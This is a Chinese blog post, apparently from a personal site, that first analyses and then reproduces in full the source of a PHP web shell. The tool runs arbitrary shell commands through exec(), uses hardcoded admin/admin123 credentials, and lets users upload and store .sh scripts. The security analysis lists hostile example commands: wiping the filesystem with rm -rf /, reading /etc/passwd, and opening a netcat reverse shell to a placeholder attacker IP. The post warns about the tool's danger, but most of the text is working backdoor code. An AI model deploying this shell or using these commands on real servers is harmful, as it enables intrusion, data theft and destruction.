这个 PHP 文件实现了一个网页版 Shell 命令执行工具,允许用户通过浏览器输入并执行 Shell 命令,同时支持脚本的保存、加载、导入和删除等管理功能。但代码中明确标注了 “完全取消命令限制,极度危险”,存在严重的安全风险。以下是详细分析:
一、核心功能解析
该工具的主要功能包括:
1. 用户认证
提供登录页面,默认用户名admin,密码admin123(通过password_hash加密存储)。登录后通过 Session 维持认证状态,支持退出登录功能。
2. 命令执行
核心功能:用户在文本框输入 Shell 命令,提交后通过 PHP 的exec()函数直接执行(exec($command . ' 2>&1', ...),将标准错误stderr合并到标准输出stdout)。执行结果会显示在页面上,包括输出内容、执行耗时和返回码(0 表示成功,非 0 表示失败)。
3. 脚本管理
保存脚本:将输入的命令保存为.sh脚本(存储在scripts/目录),需指定脚本名称(仅允许字母、数字、下划线等字符)。加载 / 删除脚本:可加载已保存的脚本到命令框,或删除不需要的脚本。导入脚本:支持上传.sh文件到服务器,保存到scripts/目录。
4. 日志记录
执行的命令会被记录到日志文件(shell_execution.log),包括时间、执行 IP、用户、命令内容、输出(截断为 1KB)和执行结果(成功 / 失败)。
5. 前端交互
提供清空命令、全选命令、切换深色 / 浅色主题等辅助功能。显示已保存的脚本列表(包含名称、大小、修改时间)和最近 5 条执行历史。
二、严重安全风险
代码中明确标注 “极度危险”,主要风险点如下:
1. 无限制命令执行(最致命)
完全未对用户输入的命令进行过滤或限制,允许执行任意 Shell 命令。
例如:执行rm -rf /可删除服务器所有文件;执行cat /etc/passwd可查看系统用户信息;执行nc [攻击者IP] [端口] -e /bin/sh可反弹 Shell,让攻击者完全控制服务器。
2. 弱认证机制
默认用户名 / 密码为admin/admin123,属于弱密码,易被暴力破解。仅通过简单 Session 认证,无验证码、登录次数限制等防护,攻击者可轻易获取访问权限。
3. 脚本管理的附加风险
允许上传和保存.sh脚本,若脚本包含恶意命令(如上述危险命令),执行后会直接危害服务器安全。虽然通过basename()处理脚本名称,一定程度避免路径遍历,但无法阻止恶意脚本内容的执行。
4. 日志与文件权限风险
日志文件可能记录敏感命令或输出(如数据库密码、隐私数据),若权限设置不当(如0777),可能被未授权用户读取。脚本目录权限为0755,可能允许其他用户访问或修改脚本文件。
三、总结
该工具本质是一个网页版 “后门”,功能上方便用户远程执行命令和管理脚本,但由于完全取消命令限制,且认证机制薄弱,一旦部署在可被公共网络访问的服务器上,会导致服务器被入侵、数据泄露、系统崩溃等严重后果。
警告:绝对不要在生产环境或联网服务器上使用此工具,仅可在本地隔离环境(如虚拟机)中用于安全测试或学习目的。
<?php // shell_executor.php session_start(); date_default_timezone_set('Asia/Shanghai'); // 配置参数(完全取消命令限制,极度危险!) $config = [ 'scripts_dir' => __DIR__ . '/scripts/', // 脚本存储目录 'max_output_size' => 1024 * 1024, // 1MB 'log_file' => __DIR__ . '/shell_execution.log', 'require_auth' => true, 'username' => 'admin', 'password' => password_hash('admin123', PASSWORD_DEFAULT), ]; // 创建脚本目录(如果不存在) if (!file_exists($config['scripts_dir'])) { mkdir($config['scripts_dir'], 0755, true); } // 认证处理 if ($config['require_auth'] && !isset($_SESSION['authenticated'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) { if ($_POST['username'] === $config['username'] && password_verify($_POST['password'], $config['password'])) { $_SESSION['authenticated'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $auth_error = '用户名或密码错误'; } } else { ?> <!DOCTYPE html> <html> <head> <title>Shell执行工具 - 登录</title> <style> body { font-family: Arial, sans-serif; max-width: 400px; margin: 50px auto; } .login-box { padding: 20px; border: 1px solid #ddd; border-radius: 5px; } .error { color: red; margin-bottom: 10px; } input { width: 100%; padding: 8px; margin-bottom: 10px; box-sizing: border-box; } button { width: 100%; padding: 10px; background-color: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; } </style> </head> <body> <div class="login-box"> <h2>Shell执行工具登录</h2> <?php if (isset($auth_error)): ?> <div class="error"><?php echo htmlspecialchars($auth_error); ?></div> <?php endif; ?> <form method="post"> <input type="text" name="username" placeholder="用户名" required> <input type="password" name="password" placeholder="密码" required> <button type="submit">登录</button> </form> </div> </body> </html> <?php exit; } } // 记录日志 function log_action($command, $output, $success) { global $config; $log_entry = date('Y-m-d H:i:s') . ' - ' . (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'CLI') . ' - ' . (isset($_SESSION['authenticated']) ? $_SESSION['username'] : 'guest') . ' - ' . ($success ? 'SUCCESS' : 'ERROR') . ' - ' . $command . PHP_EOL; // 限制日志中输出内容的大小 $output = substr($output, 0, 1024); $log_entry .= "Output: " . $output . PHP_EOL . str_repeat('-', 50) . PHP_EOL; file_put_contents($config['log_file'], $log_entry, FILE_APPEND); } // 脚本管理功能 $script_message = ''; $scripts = []; // 保存脚本 if (isset($_POST['save_script'])) { $script_name = trim($_POST['script_name']); $script_content = trim($_POST['command']); if (empty($script_name)) { $script_message = "错误: 请输入脚本名称"; } elseif (preg_match('/[^a-zA-Z0-9_\-\.]/', $script_name)) { $script_message = "错误: 脚本名称只能包含字母、数字、下划线、连字符和点"; } else { $script_path = $config['scripts_dir'] . $script_name . '.sh'; if (file_put_contents($script_path, $script_content) !== false) { $script_message = "脚本已保存: $script_name.sh"; } else { $script_message = "错误: 无法保存脚本"; } } } // 删除脚本 if (isset($_GET['delete_script'])) { $script_name = basename($_GET['delete_script']); $script_path = $config['scripts_dir'] . $script_name; if (file_exists($script_path) && is_writable($script_path)) { unlink($script_path); $script_message = "脚本已删除: $script_name"; } else { $script_message = "错误: 无法删除脚本"; } } // 加载脚本 if (isset($_GET['load_script'])) { $script_name = basename($_GET['load_script']); $script_path = $config['scripts_dir'] . $script_name; if (file_exists($script_path) && is_readable($script_path)) { $_POST['command'] = file_get_contents($script_path); } else { $script_message = "错误: 无法加载脚本"; } } // 获取脚本列表 if ($handle = opendir($config['scripts_dir'])) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != ".." && pathinfo($entry, PATHINFO_EXTENSION) == 'sh') { $scripts[] = [ 'name' => pathinfo($entry, PATHINFO_FILENAME), 'path' => $entry, 'size' => filesize($config['scripts_dir'] . $entry), 'mtime' => filemtime($config['scripts_dir'] . $entry) ]; } } closedir($handle); // 按修改时间排序(最新的在前) usort($scripts, function($a, $b) { return $b['mtime'] - $a['mtime']; }); } // 执行命令 $result = ['output' => '', 'success' => false, 'execution_time' => 0]; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command']) && !isset($_POST['save_script'])) { $command = trim($_POST['command']); // 完全取消所有命令限制,直接执行用户输入的命令 $start_time = microtime(true); exec($command . ' 2>&1', $output_lines, $return_var); $end_time = microtime(true); $result['execution_time'] = round($end_time - $start_time, 3); $result['output'] = implode("\n", $output_lines); $result['success'] = ($return_var === 0); // 限制输出大小 if (strlen($result['output']) > $config['max_output_size']) { $result['output'] = substr($result['output'], 0, $config['max_output_size']) . "\n\n... 输出内容过大,已截断"; } log_action($command, $result['output'], $result['success']); } ?> <!DOCTYPE html> <html> <head> <title>Shell执行工具</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background-color: #f5f5f5; } .container { max-width: 1200px; margin: 0 auto; } .header { background-color: #333; color: white; padding: 15px; border-radius: 5px 5px 0 0; } .content { background-color: white; padding: 20px; border-radius: 0 0 5px 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); } .command-box { margin-bottom: 20px; } textarea { width: 100%; height: 150px; padding: 10px; margin-bottom: 10px; box-sizing: border-box; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; } .button-group { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; } button, input[type="submit"] { padding: 10px 15px; background-color: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover, input[type="submit"]:hover { background-color: #45a049; } .btn-danger { background-color: #f44336; } .btn-danger:hover { background-color: #d32f2f; } .btn-primary { background-color: #2196F3; } .btn-primary:hover { background-color: #0b7dda; } .btn-secondary { background-color: #607D8B; } .btn-secondary:hover { background-color: #4b636e; } .result-box { margin-top: 20px; } .result-header { font-weight: bold; margin-bottom: 10px; } .result-output { background-color: #f9f9f9; border: 1px solid #ddd; padding: 10px; min-height: 100px; max-height: 400px; overflow: auto; font-family: monospace; white-space: pre-wrap; } .status { margin-top: 10px; padding: 5px; border-radius: 3px; } .success { background-color: #d4edda; color: #155724; } .error { background-color: #f8d7da; color: #721c24; } .footer { margin-top: 20px; text-align: center; color: #666; font-size: 0.9em; } .history { margin-top: 20px; } .history table { width: 100%; border-collapse: collapse; } .history th, .history td { border: 1px solid #ddd; padding: 8px; text-align: left; } .history th { background-color: #f2f2f2; } .scripts { margin-top: 20px; } .scripts table { width: 100%; border-collapse: collapse; } .scripts th, .scripts td { border: 1px solid #ddd; padding: 8px; text-align: left; } .scripts th { background-color: #f2f2f2; } .script-form { margin-top: 10px; } .script-form input[type="text"] { padding: 8px; border: 1px solid #ddd; border-radius: 4px; width: 200px; margin-right: 10px; } .message { padding: 10px; margin-bottom: 10px; border-radius: 4px; } .message-success { background-color: #d4edda; color: #155724; } .message-error { background-color: #f8d7da; color: #721c24; } .upload-form { margin-top: 10px; } .upload-form input[type="file"] { margin-right: 10px; } </style> </head> <body> <div class="container"> <div class="header"> <h1>Shell执行工具</h1> </div> <div class="content"> <?php if (!empty($script_message)): ?> <div class="message <?php echo strpos($script_message, '错误') !== false ? 'message-error' : 'message-success'; ?>"> <?php echo htmlspecialchars($script_message); ?> </div> <?php endif; ?> <div class="button-group"> <button id="clear-btn">清空命令</button> <button id="select-all-btn">全选命令</button> <button id="toggle-theme-btn">切换主题</button> </div> <div class="command-box"> <form method="post" enctype="multipart/form-data"> <textarea name="command" placeholder="输入要执行的Shell命令..."><?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?></textarea> <div class="button-group"> <input type="submit" value="执行命令"> <div class="script-form"> <input type="text" name="script_name" placeholder="脚本名称"> <input type="submit" name="save_script" value="保存为脚本" class="btn-primary"> </div> <div class="upload-form"> <input type="file" name="upload_script" accept=".sh"> <input type="submit" name="upload" value="导入脚本" class="btn-secondary"> </div> </div> </form> </div> <?php if (isset($result['output'])): ?> <div class="result-box"> <div class="result-header"> 执行结果 (耗时: <?php echo $result['execution_time']; ?> 秒) </div> <div class="result-output"> <?php echo htmlspecialchars($result['output']); ?> </div> <div class="status <?php echo $result['success'] ? 'success' : 'error'; ?>"> <?php echo $result['success'] ? '命令执行成功 (返回码: 0)' : '命令执行失败 (返回码: ' . (isset($return_var) ? $return_var : '未知') . ')'; ?> </div> </div> <?php endif; ?> <div class="scripts"> <h3>已保存的脚本</h3> <?php if (!empty($scripts)): ?> <table> <tr> <th>名称</th> <th>大小</th> <th>修改时间</th> <th>操作</th> </tr> <?php foreach ($scripts as $script): ?> <tr> <td><?php echo htmlspecialchars($script['name']); ?></td> <td><?php echo round($script['size'] / 1024, 2); ?> KB</td> <td><?php echo date('Y-m-d H:i:s', $script['mtime']); ?></td> <td> <a href="?load_script=<?php echo urlencode($script['path']); ?>" class="btn-primary">加载</a> <a href="?delete_script=<?php echo urlencode($script['path']); ?>" class="btn-danger" onclick="return confirm('确定要删除这个脚本吗?')">删除</a> </td> </tr> <?php endforeach; ?> </table> <?php else: ?> <p>暂无保存的脚本</p> <?php endif; ?> </div> <div class="history"> <h3>最近执行历史</h3> <?php if (file_exists($config['log_file'])) { $log_lines = array_reverse(file($config['log_file'], FILE_IGNORE_NEW_LINES)); $history = []; foreach ($log_lines as $line) { if (preg_match('/^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) - (.*?) - (.*?) - (SUCCESS|ERROR) - (.*)$/', $line, $matches)) { $history[] = [ 'time' => $matches[1], 'ip' => $matches[2], 'user' => $matches[3], 'status' => $matches[4], 'command' => $matches[5] ]; if (count($history) >= 5) break; } } if (!empty($history)) { echo '<table>'; echo '<tr><th>时间</th><th>IP地址</th><th>用户</th><th>状态</th><th>命令</th></tr>'; foreach ($history as $entry) { $status_class = $entry['status'] === 'SUCCESS' ? 'success' : 'error'; echo '<tr>'; echo '<td>' . htmlspecialchars($entry['time']) . '</td>'; echo '<td>' . htmlspecialchars($entry['ip']) . '</td>'; echo '<td>' . htmlspecialchars($entry['user']) . '</td>'; echo '<td class="' . $status_class . '">' . htmlspecialchars($entry['status']) . '</td>'; echo '<td>' . htmlspecialchars($entry['command']) . '</td>'; echo '</tr>'; } echo '</table>'; } else { echo '<p>暂无执行历史</p>'; } } else { echo '<p>日志文件不存在或无法访问</p>'; } ?> </div> </div> <div class="footer"> <p><strong>警告:此工具已完全取消所有命令限制,存在致命安全风险!</strong></p> <p>请勿在任何与公共网络连接的服务器上使用此工具,可能导致服务器被入侵和数据泄露!</p> <?php if ($config['require_auth']): ?> <p><a href="?logout=1">退出登录</a></p> <?php endif; ?> </div> </div> <script> // 清空命令文本框 document.getElementById('clear-btn').addEventListener('click', function() { document.querySelector('textarea[name="command"]').value = ''; }); // 全选命令文本框内容 document.getElementById('select-all-btn').addEventListener('click', function() { const textarea = document.querySelector('textarea[name="command"]'); textarea.select(); }); // 切换深色/浅色主题 document.getElementById('toggle-theme-btn').addEventListener('click', function() { document.body.classList.toggle('dark-theme'); const elements = document.querySelectorAll('body, .content, .result-output, .scripts table, .history table'); elements.forEach(el => { el.classList.toggle('dark-bg'); el.classList.toggle('dark-text'); }); const darkModeEnabled = document.body.classList.contains('dark-theme'); localStorage.setItem('darkMode', darkModeEnabled); }); // 检查用户偏好的主题 if (localStorage.getItem('darkMode') === 'true') { document.body.classList.add('dark-theme'); const elements = document.querySelectorAll('body, .content, .result-output, .scripts table, .history table'); elements.forEach(el => { el.classList.add('dark-bg'); el.classList.add('dark-text'); }); } // 添加深色主题样式 const style = document.createElement('style'); style.textContent = ` .dark-theme { background-color: #1e1e1e; color: #e0e0e0; } .dark-bg { background-color: #2d2d2d !important; color: #e0e0e0 !important; } .dark-text { color: #e0e0e0 !important; } .dark-theme .scripts th, .dark-theme .history th { background-color: #3a3a3a !important; } .dark-theme .scripts td, .dark-theme .history td { border-color: #4a4a4a !important; } .dark-theme .result-output { background-color: #1a1a1a !important; border-color: #4a4a4a !important; } `; document.head.appendChild(style); </script> <?php // 处理脚本导入 if (isset($_POST['upload']) && isset($_FILES['upload_script'])) { $file = $_FILES['upload_script']; if ($file['error'] === UPLOAD_ERR_OK) { $fileName = pathinfo($file['name'], PATHINFO_FILENAME); $fileExt = pathinfo($file['name'], PATHINFO_EXTENSION); if ($fileExt !== 'sh') { echo '<script>alert("错误: 请上传.sh格式的脚本文件");</script>'; } else { $scriptPath = $config['scripts_dir'] . $fileName . '.sh'; if (move_uploaded_file($file['tmp_name'], $scriptPath)) { echo '<script>alert("脚本导入成功");</script>'; } else { echo '<script>alert("错误: 无法导入脚本");</script>'; } } } else { echo '<script>alert("上传错误: ' . $file['error'] . '");</script>'; } } // 处理退出登录 if (isset($_GET['logout']) && $config['require_auth']) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } ?> </body> </html>
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 1963849530@qq.com 举报,一经查实,本站将立刻删除。如若转载,请注明出处:https://lzq520.cn/narong/135.html